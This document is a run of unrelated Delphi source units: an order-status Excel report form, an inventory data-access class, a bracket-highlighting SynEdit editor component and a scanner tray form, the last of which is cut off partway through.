unit CCJS_RP_StateOpenOrder; {*********************************************************** * © PgkSoft 21.05.2015 * Журнал интернет заказов. * Отчет <Состояние открытых заказов> * Основание действия (операции). ***********************************************************} interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ActnList, ComCtrls, ExtCtrls, StdCtrls, ToolWin, DB, ADODB, Excel97, ComObj; type TfrmCCJS_RP_StateOpenOrder = class(TForm) pnlPage: TPanel; pageControl: TPageControl; tabParm: TTabSheet; actionList: TActionList; aExcel: TAction; aClose: TAction; pnlControl: TPanel; pnlControl_Tool: TPanel; tollBar: TToolBar; tlbtnExcel: TToolButton; tlbtnClose: TToolButton; pnlControl_Show: TPanel; grpbxPeriod: TGroupBox; Label1: TLabel; dtBegin: TDateTimePicker; Label2: TLabel; dtEnd: TDateTimePicker; qrspStateOpenOrder: TADOStoredProc; grpbxLastDateAction: TGroupBox; DateLastAction: TDateTimePicker; TimeLastAction: TDateTimePicker; grpbxStatus: TGroupBox; lblStatusDateFormation: TLabel; edStatusDateFormation: TEdit; btnStatusDateFormation: TButton; lblStatusDateBell: TLabel; edStatusDateBell: TEdit; btnStatusDateBell: TButton; lblStatusBeginPicking: TLabel; edStatusBeginPicking: TEdit; btnStatusBeginPicking: TButton; lblStatusEndPicking: TLabel; edStatusEndPicking: TEdit; btnStatusEndPicking: TButton; lblStatusReadySend: TLabel; edStatusReadySend: TEdit; btnStatusReadySend: TButton; aSLStatus_DateFormation: TAction; aSLStatus_DateBell: TAction; aSLStatus_BeginPicking: TAction; aSLStatus_EndPicking: TAction; aSLStatus_ReadySend: TAction; spFindStatus: TADOStoredProc; pnl: TPanel; lblOrderState: TLabel; cmbxOrderState: TComboBox; procedure FormCreate(Sender: TObject); procedure FormActivate(Sender: TObject); procedure aExcelExecute(Sender: TObject); procedure aCloseExecute(Sender: TObject); procedure aSLStatus_DateFormationExecute(Sender: TObject); procedure aSLStatus_DateBellExecute(Sender: TObject); procedure aSLStatus_BeginPickingExecute(Sender: TObject); procedure aSLStatus_EndPickingExecute(Sender: TObject); procedure aSLStatus_ReadySendExecute(Sender: TObject); private { Private declarations } ISignActive : integer; procedure ShowGets; procedure SelectStatus(ItemEdit : string); public { Public declarations } end; var frmCCJS_RP_StateOpenOrder: TfrmCCJS_RP_StateOpenOrder; implementation uses Util, UMain, UCCenterJournalNetZkz, ExDBGRID, DateUtils, UReference; {$R *.dfm} procedure TfrmCCJS_RP_StateOpenOrder.FormCreate(Sender: TObject); begin { Инициализация } ISignActive := 0; dtBegin.Date := Date; dtEnd.Date := Date; DateLastAction.Date := Date; TimeLastAction.Time := Time; end; procedure TfrmCCJS_RP_StateOpenOrder.FormActivate(Sender: TObject); begin if ISignActive = 0 then begin { Иконка окна } FCCenterJournalNetZkz.imgMain.GetIcon(111,self.Icon); { Стандартные статусы } edStatusDateFormation.Text := 'Заказ обработан'; edStatusDateBell.Text := 'Выполнен звонок клиенту'; edStatusBeginPicking.Text := 'Заказ в процессе сборки'; edStatusEndPicking.Text := 'Товар готов к отправке'; edStatusReadySend.Text := 'Товар готов к отправке'; { Форма активна } ISignActive := 1; ShowGets; end; end; procedure TfrmCCJS_RP_StateOpenOrder.ShowGets; begin if ISignActive = 1 then begin end; end; procedure TfrmCCJS_RP_StateOpenOrder.aExcelExecute(Sender: TObject); var vExcel : OleVariant; vDD : OleVariant; WS : OleVariant; Cells : OleVariant; I : integer; iExcelNumLine : integer; iBeginTableNumLine : integer; fl_cnt : integer; num_cnt : integer; iInteriorColor : integer; iHorizontalAlignment : integer; RecNumb : integer; RecCount : integer; SFontSize : string; function CheckStatus(Status : string) : boolean; var bRes : boolean; begin spFindStatus.Parameters.ParamValues['@Descr'] := Status; spFindStatus.ExecProc; if spFindStatus.Parameters.ParamValues['@NRN_OUT'] <> 0 then bRes := true else begin bRes := false; ShowMessage('!!! Наменование статуса <'+Status+'> не найдено.'); end; result := bRes; end; begin { Проверка наличия статусов } if not CheckStatus(edStatusDateFormation.Text) then exit; if not CheckStatus(edStatusDateBell.Text) then exit; if not CheckStatus(edStatusBeginPicking.Text) then exit; if not CheckStatus(edStatusEndPicking.Text) then exit; if not CheckStatus(edStatusReadySend.Text) then exit; SFontSize := '10'; iInteriorColor := 0; try { Запуск табличного процессора } pnlControl_Show.Caption := 'Запуск табличного процессора...'; vExcel := CreateOLEObject('Excel.Application'); vDD := vExcel.Workbooks.Add; WS := vDD.Sheets[1]; WS.PageSetup.Orientation := xlLandscape; { Формирование набора данных } pnlControl_Show.Caption := 'Формирование набора данных...'; if qrspStateOpenOrder.Active then qrspStateOpenOrder.Active := false; qrspStateOpenOrder.Parameters.ParamValues['@SBegin'] := FormatDateTime('yyyy-mm-dd', dtBegin.Date); qrspStateOpenOrder.Parameters.ParamValues['@SEnd'] := FormatDateTime('yyyy-mm-dd', IncDay(dtEnd.Date,1)); qrspStateOpenOrder.Parameters.ParamValues['@SActionEnd'] := FormatDateTime('yyyy-mm-dd', DateLastAction.Date) + ' ' + FormatDateTime('hh:nn:ss', TimeLastAction.Time); qrspStateOpenOrder.Parameters.ParamValues['@StatusDateFormation'] := edStatusDateFormation.Text; qrspStateOpenOrder.Parameters.ParamValues['@StatusDateBell'] := edStatusDateBell.Text; qrspStateOpenOrder.Parameters.ParamValues['@StatusBeginPicking'] := edStatusBeginPicking.Text; qrspStateOpenOrder.Parameters.ParamValues['@StatusEndPicking'] := edStatusEndPicking.Text; qrspStateOpenOrder.Parameters.ParamValues['@StatusReadySend'] := edStatusReadySend.Text; qrspStateOpenOrder.Parameters.ParamValues['@SignOrderState'] := cmbxOrderState.ItemIndex; qrspStateOpenOrder.Open; RecCount := qrspStateOpenOrder.RecordCount; iExcelNumLine := 0; RecNumb := 0; { Заголовок отчета } inc(iExcelNumLine); vExcel.ActiveCell[iExcelNumLine, 1].Value := 'СОСТОЯНИЕ ОТКРЫТЫХ ЗАКАЗОВ'; inc(iExcelNumLine); vExcel.ActiveCell[iExcelNumLine, 1].Value := 'Дата формирования:' + FormatDateTime('dd-mm-yyyy hh:nn:ss', Now); inc(iExcelNumLine); vExcel.ActiveCell[iExcelNumLine, 1].Value := 'Дата последнего дествия:' + FormatDateTime('dd-mm-yyyy', DateLastAction.Date) + ' ' + FormatDateTime('hh:nn:ss', TimeLastAction.Time); inc(iExcelNumLine); { Статусы } inc(iExcelNumLine); vExcel.ActiveCell[iExcelNumLine, 1].Value := 'СТАТУСЫ'; inc(iExcelNumLine); vExcel.ActiveCell[iExcelNumLine, 1].Value := 'Дата формирования заказа:'; vExcel.ActiveCell[iExcelNumLine, 4].Value := edStatusDateFormation.Text; inc(iExcelNumLine); vExcel.ActiveCell[iExcelNumLine, 1].Value := 'Время звонка:'; vExcel.ActiveCell[iExcelNumLine, 4].Value := edStatusDateBell.Text; inc(iExcelNumLine); vExcel.ActiveCell[iExcelNumLine, 1].Value := 'Время сбора всего заказа (Начало):'; vExcel.ActiveCell[iExcelNumLine, 4].Value := edStatusBeginPicking.Text; inc(iExcelNumLine); vExcel.ActiveCell[iExcelNumLine, 1].Value := 'Время сбора всего заказа (Окончание):'; vExcel.ActiveCell[iExcelNumLine, 4].Value := edStatusEndPicking.Text; inc(iExcelNumLine); vExcel.ActiveCell[iExcelNumLine, 1].Value := 'Время отправки заказа покупателю:'; vExcel.ActiveCell[iExcelNumLine, 4].Value := edStatusReadySend.Text; inc(iExcelNumLine); { Заголовок таблицы } inc(iExcelNumLine); iBeginTableNumLine := iExcelNumLine; fl_cnt := qrspStateOpenOrder.FieldCount; for I := 1 to fl_cnt do begin vExcel.ActiveCell[iExcelNumLine, I].Value := qrspStateOpenOrder.Fields[I - 1].FieldName; SetPropExcelCell(WS, i, iExcelNumLine, 0, xlCenter); vExcel.Cells[iExcelNumLine, I].Font.Size := SFontSize; end; { Вывод таблицы } qrspStateOpenOrder.First; while not qrspStateOpenOrder.Eof do begin inc(RecNumb); pnlControl_Show.Caption := 'Формирование отчета: '+VarToStr(RecNumb)+'/'+VarToStr(RecCount); inc(iExcelNumLine); if length(qrspStateOpenOrder.FieldByName('Дата закрытия заказа').AsString) = 0 then iInteriorColor := 0 else iInteriorColor := 19; for num_cnt := 1 to fl_cnt do begin vExcel.ActiveCell[iExcelNumLine, num_cnt].Value := qrspStateOpenOrder.Fields[num_cnt - 1].AsString; SetPropExcelCell(WS, num_cnt, iExcelNumLine, iInteriorColor, xlLeft); vExcel.Cells[iExcelNumLine, num_cnt].Font.Size := SFontSize; end; qrspStateOpenOrder.Next; end; { Ширина колонок } vExcel.Columns[01].ColumnWidth := 05; { № п/п } vExcel.Columns[02].ColumnWidth := 20; { Вид доставки } vExcel.Columns[03].ColumnWidth := 10; { Заказ } vExcel.Columns[04].ColumnWidth := 10; { Сумма } vExcel.Columns[05].ColumnWidth := 17; { Дата заказа } vExcel.Columns[06].ColumnWidth := 30; { Наименование последнего действия } vExcel.Columns[07].ColumnWidth := 17; { Дата последнего действия } vExcel.Columns[08].ColumnWidth := 20; { Пользователь } vExcel.Columns[09].ColumnWidth := 20; { Наименование последнего статуса } vExcel.Columns[10].ColumnWidth := 17; { Дата последнего статуса } vExcel.Columns[11].ColumnWidth := 20; { Пользователь } vExcel.Columns[12].ColumnWidth := 17; { Дата экспорта в 1С } vExcel.Columns[13].ColumnWidth := 14; { Время формирования заказа } vExcel.Columns[14].ColumnWidth := 14; { Время 1-го звонка } vExcel.Columns[15].ColumnWidth := 14; { Время последнего звонка } vExcel.Columns[16].ColumnWidth := 14; { Время начала сбора всего товара } vExcel.Columns[17].ColumnWidth := 14; { Время сбора всего товара } vExcel.Columns[18].ColumnWidth := 17; { Дата оплаты заказа } vExcel.Columns[19].ColumnWidth := 14; { Время оплаты заказа } vExcel.Columns[20].ColumnWidth := 17; { Дата отправки заказа } vExcel.Columns[21].ColumnWidth := 14; { Время отправки заказа } vExcel.Columns[22].ColumnWidth := 17; { Дата закрытия заказа } { Перенос слов } WS.Range[CellName(1,iBeginTableNumLine) + ':' + CellName(fl_cnt,iExcelNumLine)].WrapText:=true; { Показываем } vExcel.Visible := True; except on E: Exception do begin if vExcel = varDispatch then vExcel.Quit; end; end; pnlControl_Show.Caption := ''; end; procedure TfrmCCJS_RP_StateOpenOrder.aCloseExecute(Sender: TObject); begin self.Close; end; procedure TfrmCCJS_RP_StateOpenOrder.SelectStatus(ItemEdit : string); var DescrSelect : string; begin try frmReference := TfrmReference.Create(Self); frmReference.SetMode(cFReferenceModeSelect); frmReference.SetReferenceIndex(cFReferenceOrderStatus); frmReference.SetReadOnly(cFReferenceNoReadOnly); frmReference.SetOrderShipping(''); try frmReference.ShowModal; DescrSelect := frmReference.GetDescrSelect; if length(DescrSelect) > 0 then begin if ItemEdit = 'DateFormation' then edStatusDateFormation.Text := DescrSelect else if ItemEdit = 'DateBell' then edStatusDateBell.Text := DescrSelect else if ItemEdit = 'BeginPicking' then edStatusBeginPicking.Text := DescrSelect else if ItemEdit = 'EndPicking' then edStatusEndPicking.Text := DescrSelect else if ItemEdit = 'ReadySend' then edStatusReadySend.Text := DescrSelect; end; finally frmReference.Free; end; except end; end; procedure TfrmCCJS_RP_StateOpenOrder.aSLStatus_DateFormationExecute(Sender: TObject); begin SelectStatus('DateFormation'); end; procedure TfrmCCJS_RP_StateOpenOrder.aSLStatus_DateBellExecute(Sender: TObject); begin SelectStatus('DateBell'); end; procedure TfrmCCJS_RP_StateOpenOrder.aSLStatus_BeginPickingExecute(Sender: TObject); begin SelectStatus('BeginPicking'); end; procedure TfrmCCJS_RP_StateOpenOrder.aSLStatus_EndPickingExecute(Sender: TObject); begin SelectStatus('EndPicking'); end; procedure TfrmCCJS_RP_StateOpenOrder.aSLStatus_ReadySendExecute(Sender: TObject); begin SelectStatus('ReadySend'); end; end.
unit EstoqueDAO; interface uses DBXCommon, SqlExpr, Estoque, SysUtils, BaseDAO; type TEstoqueDAO = class(TBaseDAO) public function List: TDBXReader; function Insert(Estoque: TEstoque): Boolean; function Update(Estoque: TEstoque): Boolean; function Delete(Estoque: TEstoque): Boolean; function AtualizaQuantidade(CodigoProduto: string; Operacao: Char; Quantidade: Integer): Boolean; function RelatorioEstoque(Estoque: Integer): TDBXReader; end; implementation uses uSCPrincipal, StringUtils; { TEstoqueDAO } function TEstoqueDAO.List: TDBXReader; begin PrepareCommand; FComm.Text := 'SELECT E.CODIGO_PRODUTO, P.DESCRICAO AS DESCRICAO_PRODUTO, E.QUANTIDADE '+ 'FROM ESTOQUE E '+ 'INNER JOIN PRODUTOS P ON P.CODIGO = E.CODIGO_PRODUTO'; Result := FComm.ExecuteQuery; end; function TEstoqueDAO.Insert(Estoque: TEstoque): Boolean; var query: TSQLQuery; begin query := TSQLQuery.Create(nil); try query.SQLConnection := SCPrincipal.ConnTopCommerce; // query.SQL.Text := 'INSERT INTO ESTOQUE (CODIGO_PRODUTO, QUANTIDADE) VALUES (:CODIGO_PRODUTO, :QUANTIDADE)'; // query.ParamByName('CODIGO_PRODUTO').AsString := Estoque.Produto.Codigo; query.ParamByName('QUANTIDADE').AsInteger := Estoque.Quantidade; // try query.ExecSQL; Result := True; except Result := False; end; finally query.Free; end; end; function TEstoqueDAO.Update(Estoque: TEstoque): Boolean; var query: TSQLQuery; begin query := TSQLQuery.Create(nil); try query.SQLConnection := SCPrincipal.ConnTopCommerce; // query.SQL.Text := 'UPDATE ESTOQUE SET QUANTIDADE = :QUANTIDADE '+ 'WHERE CODIGO_PRODUTO = :CODIGO_PRODUTO'; // query.ParamByName('QUANTIDADE').AsInteger := Estoque.Quantidade; query.ParamByName('CODIGO_PRODUTO').AsString := Estoque.Produto.Codigo; // try query.ExecSQL; Result := True; except Result := False; end; finally query.Free; end; end; function TEstoqueDAO.Delete(Estoque: TEstoque): Boolean; var query: TSQLQuery; begin query := TSQLQuery.Create(nil); try query.SQLConnection := SCPrincipal.ConnTopCommerce; // query.SQL.Text := 'DELETE FROM ESTOQUE WHERE CODIGO_PRODUTO = :CODIGO_PRODUTO'; // query.ParamByName('CODIGO_PRODUTO').AsString := Estoque.Produto.Codigo; // try query.ExecSQL; Result := True; except Result := False; end; finally query.Free; end; end; function TEstoqueDAO.AtualizaQuantidade(CodigoProduto: string; Operacao: Char; Quantidade: Integer): Boolean; var query: TSQLQuery; begin query := TSQLQuery.Create(nil); try query.SQLConnection := SCPrincipal.ConnTopCommerce; // if (Operacao = 'D') then Quantidade := Quantidade * -1; // query.SQL.Text := 'UPDATE ESTOQUE SET QUANTIDADE = QUANTIDADE + :QUANTIDADE '+ 'WHERE CODIGO_PRODUTO = :CODIGO_PRODUTO'; // query.ParamByName('QUANTIDADE').AsInteger := Quantidade; query.ParamByName('CODIGO_PRODUTO').AsString := CodigoProduto; // try query.ExecSQL; Result := True; except Result := False; end; finally query.Free; end; end; function TEstoqueDAO.RelatorioEstoque(Estoque: Integer): TDBXReader; begin PrepareCommand; FComm.Text := 'SELECT E.CODIGO_PRODUTO, P.DESCRICAO AS DESCRICAO_PRODUTO, E.QUANTIDADE, '+ '(SELECT TOP 1 F.PRECO_COMPRA FROM FORNECEDORES_PRODUTO F '+ 'WHERE F.CODIGO_PRODUTO = P.CODIGO) PRECO_COMPRA, P.ESTOQUE_MINIMO '+ 'FROM ESTOQUE E '+ 'INNER JOIN PRODUTOS P ON P.CODIGO = E.CODIGO_PRODUTO '+ 'WHERE E.CODIGO_PRODUTO IS NOT NULL '; case Estoque of 1: FComm.Text := FComm.Text + 'AND E.QUANTIDADE > 0'; 2: FComm.Text := FComm.Text + 'AND E.QUANTIDADE = 0'; 3: FComm.Text := FComm.Text + 'AND E.QUANTIDADE <= P.ESTOQUE_MINIMO'; end; Result := FComm.ExecuteQuery; end; end.
unit HCSynEdit; interface uses Windows, Classes, Graphics, SysUtils, SynEdit, SynHighlighterPas, SynEditHighlighter; type THCSynEdit = class(TSynEdit) private FDestLine: Integer; FBracketFG: TColor; FBracketBG: TColor; function GetNearWord(const ALine: string; const AChar: Integer): string; procedure DoEditPaintTransient(Sender: TObject; Canvas: TCanvas; TransientType: TTransientType); protected procedure DoOnStatusChange(Changes: TSynStatusChanges); override; function DoOnSpecialLineColors(Line: Integer; var Foreground, Background: TColor): Boolean; override; public constructor Create(AOwner: TComponent); override; destructor Destroy; override; procedure SetErrorLine(const ALine: Integer); end; implementation const BraketString = '([{)]}'; OpenChars: array[0..2] of Char = ('(', '[', '{'); CloseChars: array[0..2] of Char = (')', ']', '}'); { THCSynEdit } constructor THCSynEdit.Create(AOwner: TComponent); begin inherited Create(AOwner); FBracketFG := clRed; FBracketBG := $0080DDFF; FDestLine := -1; Self.OnPaintTransient := DoEditPaintTransient; end; destructor THCSynEdit.Destroy; begin inherited Destroy; end; procedure THCSynEdit.DoEditPaintTransient(Sender: TObject; Canvas: TCanvas; TransientType: TTransientType); function CharToPixels(P: TBufferCoord): TPoint; begin Result := Self.RowColumnToPixels(Self.BufferToDisplayPos(P)); end; function IsCharBracket(AChar: WideChar): Boolean; begin case AChar of '{','[','(','<','}',']',')','>': Result := True; else Result := False; end; end; var vTmpCharA, vTmpCharB: Char; vNearText: string; vCaretXY: TBufferCoord; vAttri: TSynHighlighterAttributes; procedure DrawBracket; var vPix: TPoint; i: Integer; begin vNearText := vTmpCharB; if not IsCharBracket(vTmpCharB) then begin vCaretXY.Char := vCaretXY.Char - 1; vNearText := vTmpCharA; end; Self.GetHighlighterAttriAtRowCol(vCaretXY, vNearText, vAttri); if (Self.Highlighter.SymbolAttribute = vAttri) then begin for i := low(OpenChars) to High(OpenChars) do begin if (vNearText = OpenChars[i]) or (vNearText = CloseChars[i]) then begin vPix := CharToPixels(vCaretXY); Canvas.Brush.Style := bsSolid;//Clear; Canvas.Font.Assign(Self.Font); Canvas.Font.Style := vAttri.Style; if (TransientType = ttAfter) then // 切换到的 begin Canvas.Font.Color := FBracketFG; Canvas.Brush.Color := FBracketBG; end else // 切换走的 begin Canvas.Font.Color := vAttri.Foreground; Canvas.Brush.Color := vAttri.Background; end; if Canvas.Font.Color = clNone then Canvas.Font.Color := Self.Font.Color; if Canvas.Brush.Color = clNone then Canvas.Brush.Color := Self.Color; Canvas.TextOut(vPix.X, vPix.Y, vNearText); vCaretXY := Self.GetMatchingBracketEx(vCaretXY); if (vCaretXY.Char > 0) and (vCaretXY.Line > 0) then begin vPix := CharToPixels(vCaretXY); if (vPix.X > Self.Gutter.Width) and (vPix.X < Self.Width) and (vPix.Y > 0) and (vPix.Y < Self.Height) // 未约束滚动条 then begin if (TransientType = ttAfter) then begin Canvas.Font.Color := FBracketFG; Canvas.Brush.Color := FBracketBG; end else begin Canvas.Font.Color := vAttri.Foreground; Canvas.Brush.Color := vAttri.Background; end; if Canvas.Font.Color = clNone then Canvas.Font.Color := Self.Font.Color; if Canvas.Brush.Color = clNone then Canvas.Brush.Color := Self.Color; if vNearText = OpenChars[i] then Canvas.TextOut(vPix.X, vPix.Y, CloseChars[i]) else Canvas.TextOut(vPix.X, vPix.Y, OpenChars[i]); end; end; end; end; Canvas.Brush.Style := bsSolid; end; end; var vLine, vOrgText: string; i, vFirstLine, vLastLine, vPos, vNearLen, vTokenType, vNearChar: Integer; vBufferCoord: TBufferCoord; vDisplayCoord: TDisplayCoord; vRect: TRect; begin // [sfCaretChanged,sfLinesChanging,sfIgnoreNextChar] if sfLinesChanging in Self.StateFlags then Exit; vFirstLine := Self.SelStart; vLine := Self.Text; if (vFirstLine > 0) and (vFirstLine <= Length(vLine)) then vTmpCharA := vLine[vFirstLine] else vTmpCharA := #0; if (vFirstLine < Length(vLine)) then vTmpCharB := vLine[vFirstLine + 1] else vTmpCharB := #0; vCaretXY := CaretXY; if IsCharBracket(vTmpCharA) or IsCharBracket(vTmpCharB) then begin DrawBracket; Exit; end; vLine := Self.Lines[vCaretXY.Line - 1]; if vLine = '' then Exit; vNearText := GetNearWord(vLine, vCaretXY.Char); //vCaretText := FSynEdit.GetWordAtRowCol(vCaretXY); {if vCaretText = '' then begin vNearXY := FSynEdit.PrevWordPos; vCaretText := FSynEdit.GetWordAtRowCol(vNearXY); end; if vCaretText = '' then begin vNearXY := FSynEdit.NextWordPos; vCaretText := FSynEdit.GetWordAtRowCol(vNearXY); end;} //vCaretText := FSynEdit.SelText; if (vNearText <> '') then // 不为空 begin if Self.Highlighter.IsKeyword(vNearText) then Exit; // 关键字 Self.GetHighlighterAttriAtRowColEx(vCaretXY, vOrgText, vTokenType, vPos, vAttri); if Self.Highlighter is TSynPasSyn then begin if vTokenType = Ord(TtkTokenKind.tkComment) then Exit; end; vFirstLine := Self.TopLine - 1; vLastLine := vFirstLine + Self.LinesInWindow + 1; if vLastLine > Self.Lines.Count - 1 then vLastLine := Self.Lines.Count - 1; Canvas.Brush.Color := FBracketBG; Canvas.Pen.Color := $00226DA8; vNearText := UpperCase(vNearText); for i := vFirstLine to vLastLine do begin vLine := UpperCase(Self.Lines[i]); vPos := Pos(vNearText, vLine); if vPos > 0 then begin vBufferCoord.Line := i + 1; vBufferCoord.Char := 0; vNearLen := Length(vNearText); while vPos > 0 do begin vBufferCoord.Char := vBufferCoord.Char + vPos; if (vPos > 1) and Self.IsIdentChar(vLine[vPos - 1]) then // 前面还是字母 else if (vPos < Length(vLine) - vNearLen) and Self.IsIdentChar(vLine[vPos + vNearLen]) then // 后面还是字母 else begin vNearChar := Self.RowColToCharIndex(vBufferCoord); if (vNearChar >= Self.SelStart) and (vNearChar <= Self.SelEnd) then // 在选中中间 else if Self.SelAvail and (Self.SelStart >= vNearChar) and (Self.SelStart < vNearChar + vNearLen) then // 是选中一部分 else if Self.SelAvail and (Self.SelEnd > vNearChar) and (Self.SelEnd <= vNearChar + vNearLen) then // 是选中一部分 else begin vDisplayCoord := Self.BufferToDisplayPos(vBufferCoord); vRect.Location := Self.RowColumnToPixels(vDisplayCoord); vRect.Width := Self.CharWidth * vNearLen; vRect.Height := Self.LineHeight; vOrgText := Copy(Self.Lines[i], vBufferCoord.Char, vNearLen); Canvas.TextOut(vRect.Left, vRect.Top, vOrgText); // 边框 Canvas.MoveTo(vRect.Left, vRect.Top); Canvas.LineTo(vRect.Right, vRect.Top); Canvas.LineTo(vRect.Right, vRect.Bottom - 1); Canvas.LineTo(vRect.Left, vRect.Bottom - 1); Canvas.LineTo(vRect.Left, vRect.Top); end; end; vBufferCoord.Char := vBufferCoord.Char + vNearLen - 1; vLine := Copy(vLine, vPos + vNearLen, Length(vLine) - (vPos + vNearLen) + 1); vPos := Pos(vNearText, vLine); end; end; {vBufferCoord.Char := Pos(vNearText, vLine); if vBufferCoord.Char > 0 then begin if vCaretXY.Line = i + 1 then Continue; vBufferCoord.Line := i + 1; vDisplayCoord := FSynEdit.BufferToDisplayPos(vBufferCoord); vRect.Location := FSynEdit.RowColumnToPixels(vDisplayCoord); vRect.Width := FSynEdit.CharWidth * Length(vNearText); vRect.Height := FSynEdit.LineHeight; Canvas.TextOut(vRect.Left, vRect.Top, vNearText); // 边框 Canvas.MoveTo(vRect.Left, vRect.Top); Canvas.LineTo(vRect.Right, vRect.Top); Canvas.LineTo(vRect.Right, vRect.Bottom - 1); Canvas.LineTo(vRect.Left, vRect.Bottom - 1); Canvas.LineTo(vRect.Left, vRect.Top); end;} end; end; end; function THCSynEdit.DoOnSpecialLineColors(Line: Integer; var Foreground, Background: TColor): Boolean; begin Result := inherited DoOnSpecialLineColors(Line, Foreground, Background); if Line = FDestLine then begin Result := True; Background := clRed; end; end; procedure THCSynEdit.DoOnStatusChange(Changes: TSynStatusChanges); begin if Changes * [scSelection, scCaretY] <> [] then // 高亮或取消高亮视界内的选中内容 Self.Invalidate; if Changes * [scCaretX, scCaretY] <> [] then FDestLine := -1; inherited DoOnStatusChange(Changes); end; function THCSynEdit.GetNearWord(const ALine: string; const AChar: Integer): string; var vStart, vStop: Integer; begin Result := ''; if (Length(ALine) > 0) and ((AChar >= Low(ALine)) and (AChar <= High(ALine))) then begin if Self.IsIdentChar(ALine[AChar]) then begin vStart := AChar; while (vStart > Low(ALine)) and Self.IsIdentChar(ALine[vStart - 1]) do Dec(vStart); vStop := AChar + 1; while (vStop <= High(ALine)) and Self.IsIdentChar(ALine[vStop]) do Inc(vStop); Result := Copy(ALine, vStart, vStop - vStart); end else if AChar > 1 then begin vStart := AChar - 1; if not Self.IsIdentChar(ALine[vStart]) then Exit; while (vStart > Low(ALine)) and Self.IsIdentChar(ALine[vStart - 1]) do Dec(vStart); vStop := AChar; while (vStop < High(ALine)) and (Self.IsIdentChar(ALine[vStop])) do Inc(vStop); Result := Copy(ALine, vStart, vStop - vStart); end; end; end; procedure THCSynEdit.SetErrorLine(const ALine: Integer); begin Self.GotoLineAndCenter(ALine); FDestLine := ALine; Self.InvalidateLine(FDestLine); end; end.
unit UII2XScanTray; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ImgList, ExtCtrls, Menus, uUII2XScanTray, uStrUtil, uFileDir, uReg, uAppCache, StdCtrls, Buttons, uImage2XML, uI2XScan, uDWImage, uI2XOptions, mcmTWAINKernel, mcmTWAINIntf, mcmTWAIN, UITWAINDeviceSelect, ShellAPI ; type TUII2XScanTray = class(TForm) TrayIcon: TTrayIcon; IconList: TImageList; pmnuTray: TPopupMenu; pmnuMinMax: TMenuItem; N1: TMenuItem; pmnuClose: TMenuItem; lblActiveImage: TLabel; txtOutputFolder: TEdit; bbtnOpenImage: TBitBtn; Label1: TLabel; txtSubPath: TEdit; chkAutoScan: TCheckBox; btnScan: TBitBtn; pmnuCenter: TMenuItem; btnSource: TBitBtn; twain: TmcmTWAIN; procedure pmnuMinMaxClick(Sender: TObject); procedure TrayIconDblClick(Sender: TObject); procedure FormCreate(Sender: TObject); procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean); procedure pmnuCloseClick(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure txtOutputFolderChange(Sender: TObject); procedure txtSubPathChange(Sender: TObject); procedure chkAutoScanClick(Sender: TObject); procedure bbtnOpenImageClick(Sender: TObject); procedure FormResize(Sender: TObject); procedure FormActivate(Sender: TObject); procedure FormHide(Sender: TObject); procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); procedure pmnuCenterClick(Sender: TObject); procedure btnSourceClick(Sender: TObject); procedure btnScanClick(Sender: TObject); procedure txtOutputFolderDblClick(Sender: TObject); procedure txtSubPathDblClick(Sender: TObject); private EnableUIEvents : boolean; PopupClose : boolean; FReg : TI2XReg; FFileDir : CFileDir; FStrUtil : CStrUtil; FScan : TI2XScan; FTWAINSel : TUITWAINDeviceSelect; FImageCount : Cardinal; procedure MaximizeApp(Sender: TObject); procedure MinimizeApp(Sender: TObject); procedure ToggleApp(Sender: TObject); procedure TrayMsg(const MsgToDisplay: string); procedure RestoreUIState; procedure SaveUIState; procedure OnAcquireImageComplete(Sender: TObject; BitmapHandle: HBITMAP); procedure OnAfterScanImageComplete(Sender: TObject; ImageFileName : string); function getTWAINSel: TUITWAINDeviceSelect; procedure ScanJobStart( Sender: TObject ); procedure ScanJobEnd( Sender: TObject ); public property TWAINSel : TUITWAINDeviceSelect read getTWAINSel write FTWAINSel; end; var fScanTrayUI: TUII2XScanTray; implementation {$R *.dfm} procedure TUII2XScanTray.OnAcquireImageComplete( Sender: TObject; BitmapHandle : HBITMAP ); var dwimage : TDWImage; begin try dwimage := TDWImage.Create( BitmapHandle ); finally FreeAndNil( dwimage ); end; end; procedure TUII2XScanTray.OnAfterScanImageComplete(Sender: TObject; ImageFileName: string); begin Inc( FImageCount ); self.TrayMsg( 'Image ' + ExtractFileName(ImageFileName) + ' scanned. Image Count: ' + IntToStr(FImageCount) ); end; procedure TUII2XScanTray.MinimizeApp(Sender: TObject); var k: integer; begin application.Minimize; self.pmnuMinMax.Caption := 'Restore'; self.pmnuMinMax.Tag := APP_MIN; for k := 0 to Screen.FormCount - 1 do begin Screen.Forms[k].Hide; end; if ( not AppCache.MinMessageDisplayed ) then begin self.TrayMsg('The app is still active here. Right click to use the menu options (which includes the option to exit the application).'); AppCache.MinMessageDisplayed := true; end; end; procedure TUII2XScanTray.bbtnOpenImageClick(Sender: TObject); var sPath : string; begin if ( self.FFileDir.BrowseForFolder( sPath ) ) then begin self.txtOutputFolder.Text := sPath; end; end; procedure TUII2XScanTray.btnScanClick(Sender: TObject); begin FScan.SourceDevice := Options.TWAINDeviceDefault; FScan.Scan( self.FFileDir.Slash( self.txtOutputFolder.Text ) + self.txtSubPath.Text ); end; procedure TUII2XScanTray.btnSourceClick(Sender: TObject); var s : string; begin TWAINSel.SetDeviceList( FScan.SourceList ); TWAINSel.DefaultDevice := Options.TWAINDeviceDefault; TWAINSel.Show; end; procedure TUII2XScanTray.chkAutoScanClick(Sender: TObject); begin if ( self.EnableUIEvents ) then AppCache.AutoScan := self.chkAutoScan.Checked end; procedure TUII2XScanTray.FormActivate(Sender: TObject); begin self.RestoreUIState(); end; procedure TUII2XScanTray.FormCloseQuery(Sender: TObject; var CanClose: Boolean); begin CanClose := PopupClose; if ( not PopupClose ) then MinimizeApp( Sender ); end; procedure TUII2XScanTray.FormCreate(Sender: TObject); begin EnableUIEvents := false; self.pmnuMinMax.Tag := APP_NORMAL; self.pmnuMinMax.Caption := 'Minimize'; PopupClose := false; self.TrayIcon.IconIndex := Integer( icGreen ); FReg := TI2XReg.Create(); FFileDir := CFileDir.Create(); FStrUtil := CStrUtil.Create(); AppCache.AutoSave := true; self.txtOutputFolder.Text := AppCache.OutputFolder; self.txtSubPath.Text := AppCache.SubPath; self.chkAutoScan.Checked := AppCache.AutoScan; RestoreUIState(); self.WindowState := wsNormal; FScan := TI2XScan.Create( twain ); FScan.OnImageFileComplete := OnAfterScanImageComplete; 